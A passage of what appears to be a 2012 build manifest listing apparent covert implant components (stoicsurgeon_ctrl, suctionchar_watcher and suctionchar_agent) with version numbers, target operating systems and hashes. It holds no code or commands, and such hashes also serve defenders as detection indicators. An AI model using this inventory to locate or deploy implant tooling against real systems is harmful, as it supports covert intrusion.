16:35:10 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.32.8_x86_64-freebsd-8.2-backlog +008D4841CE60600D2C129AF233AF0D5FCD8ED169 Wed Oct 24 16:35:10 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.28.2_x86_64-linux-redhat-enterprise-4.6 +BAFCEF2A6BCE95E51D93424408E072C202339521 Wed Oct 24 16:35:10 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.37.6_x86-freebsd-9.0 +81D15E4E92CF18CEB0D29629A5BAC7976EDFB204 Wed Oct 24 16:35:10 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.28.1_x86-linux-centos-5.8 +CCACEAB6CA3C12CBB7FE351BD97C34BFC1CD5FC9 Wed Oct 24 16:35:11 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.8.9_x86-junos-10.0 +0B54254F623AE84ECC02742985C60B124194C7A6 Wed Oct 24 16:35:11 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.32.7_x86-freebsd-7.1-dutchstorm +A7A2524A156968ED2E9EFA1864BBD6280FD92CEA Wed Oct 24 16:35:11 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.25.19_x86_64-freebsd-7.0 +35DA149408BE346D18970D8DDF31CDE29FF65FDF Wed Oct 24 16:35:11 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.26.1_x86-freebsd-6.1-dutchstorm +D9B28D511FD862384263313A004501A1266D6870 Wed Oct 24 16:35:11 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.14.28_x86_64-freebsd-7.2 +7ACEC99A3BE63AB450A844D1A5C78B3041A1C64B Wed Oct 24 16:35:11 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.19.1_x86_64-linux-astaro +39D8648EE0C7AFE79EBA5532D249FA8C94D83157 Wed Oct 24 16:35:12 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.14.18_x86-freebsd-7.2 +CAA77849C703B1C0FDE655F02879C2CE7C94F31C Wed Oct 24 16:35:12 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.34.1_x86-freebsd-7.3-gos +E75520222DA7BFED9C9B61F03A44D7304E10BBBF Wed Oct 24 16:35:13 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.24.1_i386-pc-solaris2.10 +C3AD13D4EE444B86ACA455D2AA518DCDB1CD1F41 Wed Oct 24 16:35:13 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.23.3_x86-freebsd-5.5 +3B29255551E8B225D0DCF71DE463F1FB55284A98 Wed Oct 24 16:35:13 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.20.1_x86-freebsd-4.7 +3D0F04351C556DEC86E1AEAAB7C4DC4B59C405F9 Wed Oct 24 16:35:13 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.17.2_x86-linux-astaro +612F2ABE69CCF9B1411C62625B161D0B86A63070 Wed Oct 24 16:35:14 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.9.1_x86-freebsd-7.3 +FC9A4BFE07A7928B111C642A47345C892F8DCB7B Wed Oct 24 16:35:14 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.25.10_x86-junos-10.0 +DD5F1860D0C5C690C435615B0AD4D0054942C66C Wed Oct 24 16:35:15 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.30.5_sparc-sun-solaris2.9 +CA508A42C41644430B5EF84134BB9E9BAD122436 Wed Oct 24 16:35:15 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.18.1_x86_64-freebsd-8.2 +A94ABB1D180AEE891386BBA2E7E5E6E26EE6E4B4 Wed Oct 24 16:35:15 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.32.1_x86-junos-7.6 +9AC747A984449F0C772B4D552D58C932FD71784A Wed Oct 24 16:35:16 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.34.2_x86-freebsd-6.0 +E7E6E6C988B42EC92162E300EB0F898C44744109 Wed Oct 24 16:35:16 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.22.3_x86-linux-centos-5.7 +AEB2E94970FB26DC7E39E781475D6C25C34C2036 Wed Oct 24 16:35:16 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.30.2_sparc-sun-solaris2.10 +7901BDEEA3AA450CF01BFB87D0C6D49CFDBE0829 Wed Oct 24 16:35:16 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.18.5_x86-linux-fedora13 +981607059A06323724433CF0FEE5B3010BE7B084 Wed Oct 24 16:35:17 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.23.5_x86_64-freebsd-7.2 +52E0A8858682D82557B93186EE52E815FB4A8369 Wed Oct 24 16:35:17 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.23.2_x86-freebsd-5.3 +AD1680641733CC0B9FC692D9599D9CC012BA2D49 Wed Oct 24 16:35:18 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.9.2_x86-freebsd-7.2-raptortalon +4B77E5FD451E81CCC4583605DD0C20234FFBE6BB Wed Oct 24 16:35:18 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.9.3_x86-freebsd-6.3 +C43E9A1E762E1A0E999FF93527801CE095EF7DB0 Wed Oct 24 16:35:18 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.30.4_i386-pc-solaris2.9 +5480301E4F65B4210D3851C2635F86B4C2CD1831 Wed Oct 24 16:35:19 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.36.9_i386-pc-solaris2.10 +FE13E0D6717E89E2C718087226E72F58AC70E991 Wed Oct 24 16:35:19 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.36.8_i386-pc-solaris2.9 +19D9832A026BF2EA6C4584EA289D44F129905BAE Wed Oct 24 16:35:19 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.13.8_x86_64-linux-centos-4.4 +7860CFB22762950FBF0D961AE90BB9EE54CE80F1 Wed Oct 24 16:35:19 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.36.6_sparc-sun-solaris2.9 +D712DEE9EBD534B7DBF553DA7430485AE8194B09 Wed Oct 24 16:35:20 2012 [PITCHIMPAIR.29] stoicsurgeon_ctrl__v__1.7.14.23_x86-freebsd-7.1 +5560245A85EBC8BC88C6A96663C47E17F6B76D29 Wed Oct 24 16:35:23 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.35.1_x86-linux-alt-4.0 +2CDBC3EBDA9C4AA587C293A302A6F7B88E043255 Wed Oct 24 16:35:24 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.9.36_x86-freebsd-7.4 +E05E49B5931B7D08FCF7194D09CC462C6E0E614B Wed Oct 24 16:35:24 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.8.4_x86-linux-debian-4.0 +5C634A9A7E57CD4535E2F14A1CD53A7563706BA8 Wed Oct 24 16:35:24 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.9.1_x86-linux-fedora12 +14956837A057CF71CE08825CB7DC63576FE9B963 Wed Oct 24 16:35:24 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.29.8_x86-linux-centos-5.2 +2E40D6A3B546358B91EC417ED3C7B4B0484083F0 Wed Oct 24 16:35:24 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.9.44_x86_64-freebsd-7.2 +85A0E4264EC46F883801D3A6FB0E8D84BD4D65A6 Wed Oct 24 16:35:24 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.0.20_x86-linux-asianux-1.0 +0D31721585A5C3389DC8A980F834F868B0B70F12 Wed Oct 24 16:35:24 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.13.19_x86-linux-centos-5.8 +2FACBBD556BE7EB09E3CDC056A572668FAC3022F Wed Oct 24 16:35:25 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.4.7_x86_64-linux-debian-5.0 +9D3AEA679E15EC36CAB97724F6D030E60717FBC7 Wed Oct 24 16:35:25 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.32.2_x86-linux-fedora7 +20C84B5B28B1DA8D41A5729321AC0EFDB409C626 Wed Oct 24 16:35:25 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.3.3_x86-linux-redhat-enterprise-5.1 +FF83599C65645767B85D9BF2BE7DA7FDB2E57364 Wed Oct 24 16:35:25 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.12.16_sparc-sun-solaris2.9 +45A93B242CEBC995785E4D37E7EA6C6359C0A81F Wed Oct 24 16:35:25 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.13.6_x86-linux-redhat-enterprise-5.7 +3D0F0FF9C2DE1F3F5B76A6EA2931F13E6E41BC63 Wed Oct 24 16:35:25 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.7.9_sparc-sun-solaris2.9 +3E86205D35B33F97D6AB63C94CE8E143C5EEAA96 Wed Oct 24 16:35:25 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.9.26_x86-linux-centos-4.7 +A60D62313478C950B3172C5CF0B26EBFA9BFCB76 Wed Oct 24 16:35:25 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.7.6_x86-linux-centos-5.4 +4F9AB71466B4FC604275549AEF0BF9E89340B079 Wed Oct 24 16:35:26 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.11.5_x86-linux-fedora13 +A79A94D576BD9A1C3A2A149C7FDCE2020E8D40F8 Wed Oct 24 16:35:26 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.15.8_sparc-sun-solaris2.9 +C8CCE4AEF42B6EB07D611879CA32AFC593A16A51 Wed Oct 24 16:35:26 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.27.5_x86-freebsd-6.1 +FC55E88E3FCC7E508C903545597645A14055CC7D Wed Oct 24 16:35:26 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.7.7_x86-linux-centos-5.6 +198705D7C3F4D0DE7C0706AEE90F1541A71065C3 Wed Oct 24 16:35:26 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.2.1_i386-pc-solaris2.10 +A22F8E2002FAB7FFBF6E511FCC01130DC9102819 Wed Oct 24 16:35:26 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.13.8_x86_64-linux-redhat-enterprise-5.7 +1D7F49D64F5867A52B42E320E05C95FB770D6270 Wed Oct 24 16:35:27 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.6.2_x86_64-linux-suse-enterprise-10.2 +002BA24CB0F08DA171BFEBE49FD53D0481DA21DB Wed Oct 24 16:35:27 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.12.14_sparc-sun-solaris2.10 +3DFBF362309E8B11B9844602BF7B68069A2EEC6F Wed Oct 24 16:35:27 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.0.4.3_x86-linux-redhat-7.3 +19CF5567AB8CEEF2691D50499B821921F59DCA9C Wed Oct 24 16:35:27 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.13.1_x86-freebsd-6.1-dutchstorm +F40186C7F6D01E7D8C41ECEBC882699E38286389 Wed Oct 24 16:35:27 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.9.36_x86-freebsd-7.4 +DBA6F362780570711BE7B1AC99D298574E1B8520 Wed Oct 24 16:35:27 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.0.3.1_x86-linux-debian-5.0 +22FBC2176BFE91A4BB32781D004F354361DABBE0 Wed Oct 24 16:35:27 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.11.1_x86_64-freebsd-8.2 +ACBDA86E3302C2D0C8FC15420B9ACE4E5FA91323 Wed Oct 24 16:35:27 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.13.5_x86-linux-centos-5.8 +C341C6EAF33FC9814C2CF9EB14F4178FB1FFB518 Wed Oct 24 16:35:28 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.6.4_x86-linux-debian-3.1 +3E9D09FD1D71BC0E8D2058D38B4DF75073874332 Wed Oct 24 16:35:28 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.13.17_x86_64-freebsd-8.2-backlog +FAF9384AF92E0E5075558809E80AA9C31A1419E9 Wed Oct 24 16:35:28 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.15.8_sparc-sun-solaris2.9 +2DC025274D22F1CCBFB702EF48DF8F4C3A1A84FD Wed Oct 24 16:35:28 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.4.3_x86-linux-2.4-tilttop-comet_emx_ns +7AA93A618C228EB98E74807C9EF410DAA6E101A9 Wed Oct 24 16:35:28 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.13.4_x86_64-linux-centos-5.7 +DCFEAE57DF26E1C730B984F0547AEDD4DB05CD11 Wed Oct 24 16:35:29 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.0.2_x86-linux-ubuntu-8.04 +73AAF2894FF5A781770A20B01400C7188540A30F Wed Oct 24 16:35:29 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.9.6_x86-freebsd-6.3 +2AA3175E5A37F7E59C27D7FFA53FF735CBE771F3 Wed Oct 24 16:35:29 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.9.34_x86-freebsd-7.3 +D03B24B9B85479799C2BC6A276D41250CFD9BF45 Wed Oct 24 16:35:29 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.6.7_x86-linux-ubuntu-10.04 +152FAFBA9DEFEA046CDE9015E225A2A8196EA728 Wed Oct 24 16:35:29 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.7.15_x86-linux-redhat-enterprise-5.0 +E0DED0FF9EA70A136BD44CF02C43A1E75229EE84 Wed Oct 24 16:35:29 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.8.4_x86-linux-tilttop +6D3BBE72B26B05EDA584395173B6BFCD73B88DBD Wed Oct 24 16:35:29 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.12.6_x86-freebsd-5.4 +557804C94CEC230FBCEF1DB564D04491EA1F9D18 Wed Oct 24 16:35:29 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.0.2.4_x86-linux-fedora9 +2017C5F03DDB5D966D629E71D21F41ADB6E74E31 Wed Oct 24 16:35:30 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.0.26_x86_64-linux-centos-5.1 +76C12995D495F4F493A5E9C5BD6ED2D5AAB1879B Wed Oct 24 16:35:30 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.0.1.4_sparc-sun-solaris2.10 +0DE511947DB922C9969EB16695B2AE988E9D38B1 Wed Oct 24 16:35:30 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.9.38_x86-freebsd-7.1 +936E1932762BB54A5DEDC913B1B4D978DEF0BF5C Wed Oct 24 16:35:30 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.9.1_x86-linux-tilttop +BA4B6A700EF98D935FE44D314BCFEFF20E624D7E Wed Oct 24 16:35:30 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.27.1_x86-linux-fedora7 +33E875D5E58EA4F242641D7331B4894F118A6929 Wed Oct 24 16:35:30 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.38.1_x86-freebsd-6.1-wickedviper +5B36174D03905A6C59CC1A446B8E55AFF33D0619 Wed Oct 24 16:35:30 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.13.9_x86_64-linux-redhat-enterprise-5.6 +ECD2EA233C63AB246B228FA94315F9F41A09ABA9 Wed Oct 24 16:35:31 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.15.10_i386-pc-solaris2.9 +9C72B27BFDBC082F2AC05CB218C6A4EA7C78C1E9 Wed Oct 24 16:35:31 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.8.1_i386-pc-solaris2.8 +389A2F16FEB72C850E72C3A69A2590AAF4D6500D Wed Oct 24 16:35:31 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.7.5_x86-linux-tilttop-gate.itec +FBECFCA150FFF03CE16AE513EB79D76451035AFC Wed Oct 24 16:35:31 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.15.5_x86_64-linux-ubuntu-10.04 +58ED16E30F9941D2314BB233603AB1DAA5C18998 Wed Oct 24 16:35:31 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.5.6_sparc-sun-solaris2.8 +A989818AD9A036F95BF1C89FA23BC3A3AFDDFCF8 Wed Oct 24 16:35:31 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.10.3_x86-linux-centos-5.7 +C0646B294DAE10F47F04F929150245A104011A4A Wed Oct 24 16:35:31 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.12.16_sparc-sun-solaris2.9 +476529755A902FE43FB3849996D2E5375C7FF3AE Wed Oct 24 16:35:32 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.12.1_x86-freebsd-5.3 +BA42B97196B93674F3E290E783669D14CF4EC5D8 Wed Oct 24 16:35:32 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.12.5_x86_64-freebsd-7.2 +698C3C0A378D57FC0E9F1A0C0751682E78FA7978 Wed Oct 24 16:35:32 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.15.11_i386-pc-solaris2.10 +ACFC9314CAD3FA5D64645EF34ED5A73C4338603E Wed Oct 24 16:35:32 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.13.10_x86-linux-fedora10 +05C4EA3FC7A0DE6C0E3B030FAB14288E002B2829 Wed Oct 24 16:35:32 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.13.8_x86_64-linux-redhat-enterprise-5.7 +5486A3ACFD8D2CE0D28E1151F639E2A425FBDF8B Wed Oct 24 16:35:32 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.0.8_x86_64-linux-centos-5.2 +89CC1BBC27EC35809256827BB1AFDC341B80F80D Wed Oct 24 16:35:32 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.7.14_x86_64-linux-centos-5.3 +B9906223DE294A61229608E14E634A4186162201 Wed Oct 24 16:35:33 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.3.1_x86_64-linux-centos-5.5 +CF8BA90D032A3688E9CD3952F04F773A0B2F9C54 Wed Oct 24 16:35:33 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.0.23_x86-linux-slackware-11.0 +9E236C1BF76915CE57E24A9078005AFE62AE1C04 Wed Oct 24 16:35:33 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.2.4_x86-linux-centos-5.5 +E537527E9934D900F0CEA1D1AE0C9ED049BDFD3D Wed Oct 24 16:35:33 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.10.4_x86-linux-redhat-enterprise-4.0 +24AB8F91B06215F5E82761BE4DA329F22F72E150 Wed Oct 24 16:35:33 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.9.8_x86-linux-centos-5.6 +14628AA1A5C68DDD13549A542CBB81E6640D5812 Wed Oct 24 16:35:33 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.8.8_sparc-sun-solaris2.8 +D1A0105F90DC934BB97D29495E36E7B324851A90 Wed Oct 24 16:35:34 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.1.13_x86-freebsd-6.2 +6E9322BD06955B39272906C1FEF56AE38A143B9F Wed Oct 24 16:35:34 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.27.2_x86-freebsd-5.3 +CDAB2C21D89279316046019EB6FD3DE80E5F08B9 Wed Oct 24 16:35:34 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.9.10_x86-linux-checkpoint +4A8F01E20C1F3988DB248B3F2673C4C354E077D1 Wed Oct 24 16:35:34 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.9.31_x86-freebsd-7.0 +1F2F0C4B22CE859897CA4D46AB84E913C70F53CB Wed Oct 24 16:35:34 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.14.1_x86-freebsd-8.2 +B7C95FCFE1F30CE14D0C9FD0433E9573C16ADC38 Wed Oct 24 16:35:34 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.14.2_x86-linux-fedora8-tarigh +6C7C5CD000B561C9843A20DB9F8AC0B4E35634A1 Wed Oct 24 16:35:34 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.12.11_x86_64-freebsd-7.0 +B2570F0E5D9AA56CFB6972123470DB76CACDFB9A Wed Oct 24 16:35:35 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.12.11_x86_64-freebsd-7.0 +F45EDAD55A950ABB9F347FED729AD9B4687E64DD Wed Oct 24 16:35:35 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.4.17_x86-linux-centos-3.6 +3B1BED947E998F692B5F388CAC7B29D86FB6ABC7 Wed Oct 24 16:35:35 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.9.6_x86-linux-tilttop +53A4D21BED259C41B08706DFD453660CB984BBA9 Wed Oct 24 16:35:35 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.24.6_x86-linux-fedora4 +AB94438F5EDEC556C1EF26E8313A3D0DD7E19C85 Wed Oct 24 16:35:35 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.8.15_x86_64-linux-centos-5.5 +076361F7506EEAD7C2B23CF093DA1F49649B2C41 Wed Oct 24 16:35:35 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.6.24_x86_64-linux-centos-4.7 +AF7548678BEE2FF9AF7670084C466B0A31E26930 Wed Oct 24 16:35:35 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.15.4_x86-linux-ubuntu-10.04 +D7D1513D0700FC8ACC8822AA850B9EAF73DDB83A Wed Oct 24 16:35:35 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.14.5_x86-linux-suse-enterprise-10.0 +219A178BAEDC5F45B37EC30B927AFD1F48E357A6 Wed Oct 24 16:35:35 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.1.3_x86-freebsd-7.2 +0629FABD285532407B9B048CE7C35EB8EAF8AF72 Wed Oct 24 16:35:36 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.3.4_x86-linux-slackware-10.0 +7EB13E2E0470C463D0B599CEE638B420A6EFDD07 Wed Oct 24 16:35:36 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.14.6_x86-linux-centos-5.8 +070ED53FFB69D6FC28EFB25323FFB5E5DAE9F6B7 Wed Oct 24 16:35:36 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.9.14_x86-linux-redhat-7.3 +D45E9B8DEDAA7FDCE5B260F3144BD7B3A61E5618 Wed Oct 24 16:35:36 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.7.27_x86_64-linux-centos-5.5 +089A28F7EE089E6BACDC922AC8E81689C66AAFF4 Wed Oct 24 16:35:36 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.9.7_x86-linux-fedora3 +A5B79086BEA97AADB48C3E1149DE0700F12E3480 Wed Oct 24 16:35:36 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.12.15_i386-pc-solaris2.9 +3341A3049787DB4D32B34AE9EB60035FBE4AB0B6 Wed Oct 24 16:35:36 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.9.3_x86_64-linux-centos-5.5 +4FD16C99BC5D1DEFF3D265C3FF31D9E4AA1CB27B Wed Oct 24 16:35:37 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.15.2_x86-freebsd-6.0 +ED1A196208DD40EBEDAAEA26C95237A3F2AA70B9 Wed Oct 24 16:35:37 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.15.12_x86-linux-fedora6 +76B060252104498386E6D229EB03E61334B2CD70 Wed Oct 24 16:35:37 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.39.6_sparc-sun-solaris2.9 +3F82BD9F368C9184DCD7BE7EA87A08BF4FD9EEB0 Wed Oct 24 16:35:37 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.14.8_x86-linux-suse-enterprise-10.3 +C66B27AFBE396A5D502D5FB2DC706B2AD837A38C Wed Oct 24 16:35:37 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.22.1_x86-linux-fedora7 +7D3C3EBB9066B8E90156579244EC81615ADCF7D8 Wed Oct 24 16:35:38 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.3.1_x86-freebsd-5.5 +C309E24C87D2718BFA60D5BB1215D0EE19F6BC02 Wed Oct 24 16:35:38 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.12.12_i386-pc-solaris2.8 +5EC7DCC5A18EA3E38701ADF194B82A5BFF05277A Wed Oct 24 16:35:38 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.12.8_x86-linux-suse-enterprise-10.2 +B42B07D0A3A37A209BBE8F3E7480BC7E9BE62EE4 Wed Oct 24 16:35:38 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.0.12_x86-linux-fedora10 +9F1187C980229C922D392069F6FE99E22677C60C Wed Oct 24 16:35:38 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.4.1_sparc-sun-solaris2.10 +43530E2FE226288D186560E4101227C9CD14FAEF Wed Oct 24 16:35:38 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.17.3_x86-linux-suse-10.0 +15393F8950E00AD4ACC763FC9572EA29B528C10F Wed Oct 24 16:35:39 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.12.3_x86-freebsd-5.5 +1494FF1523D96F2A614480BFB7C7F0D13D7A29AA Wed Oct 24 16:35:39 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.14.6_x86-linux-centos-5.8 +1A7B6A7E0F9DC13A93E8B163ACE0497976428679 Wed Oct 24 16:35:39 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.1.17_x86_64-linux-centos-5.5 +69F8A85CE911C5FC4548D411A111C5270302FB55 Wed Oct 24 16:35:39 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.8.5_x86-freebsd-7.2-raptortalon +9A68BE77A629A75E9140983E47C6715989CF1C98 Wed Oct 24 16:35:39 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.8.2_x86-linux-centos-3.4 +8470739927C5962F1C7B01148B93ADEF44CE16D7 Wed Oct 24 16:35:40 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.2.3_x86_64-linux-centos-5.0 +ABE49FA327647FB3D61093D2E0E0D8460CB79B69 Wed Oct 24 16:35:40 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.9.28_x86-freebsd-6.1 +29B93BD4312EE198355371E6DB03220AB45FC6DE Wed Oct 24 16:35:40 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.0.13_x86-linux-fedora9 +88963A061AA84BCAFC392B81CA282F271DBAD36B Wed Oct 24 16:35:40 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.0.11_x86_64-linux-redhat-enterprise-5.0 +473FB3E090D4CD76B03490BFA73E7D3A930D6E22 Wed Oct 24 16:35:40 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.12.1_x86-freebsd-5.3 +DF7321480C214767CEC01248AE1DBA2E5653406E Wed Oct 24 16:35:40 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.9.13_x86-linux-redflag-4.0 +5D4F4177BDC6A6DA4104A37CF367C851BE8E497B Wed Oct 24 16:35:40 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.3.4_x86-linux-redhat-enterprise-5.4 +A4D19AFC3A6F63BEAF97CA9BC1BA23FA612C27DD Wed Oct 24 16:35:40 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.9.18_x86_64-linux-centos-4.4 +FB86970414378C94D9026C05EB05A8693143CAAD Wed Oct 24 16:35:41 2012 [PITCHIMPAIR.29] suctionchar_agent__v__3.3.15.2_x86-freebsd-6.0 +350B2C6B744C542D8AC31F9471451C078DC43C30 Wed Oct 24 16:35:41 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.3.15.6_x86-linux-fedora12 +8E97208A8A888E9694AA7BA351A96A43CFC59534 Wed Oct 24 16:35:41 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__2.0.8.7_sparc-sun-solaris2.9 +D1ECB2B8DB288E7F66A53DC3C9010C3672F08121 Wed Oct 24 16:35:41 2012 [PITCHIMPAIR.29] suctionchar_watcher__v__3.1.8.8_x86-linux-acridmini-sg +6A34346A1AA26395631CAB18491DFAD63B362297 Wed Oct 24 16:35:41 2012 [PITCHIMPAIR.29] 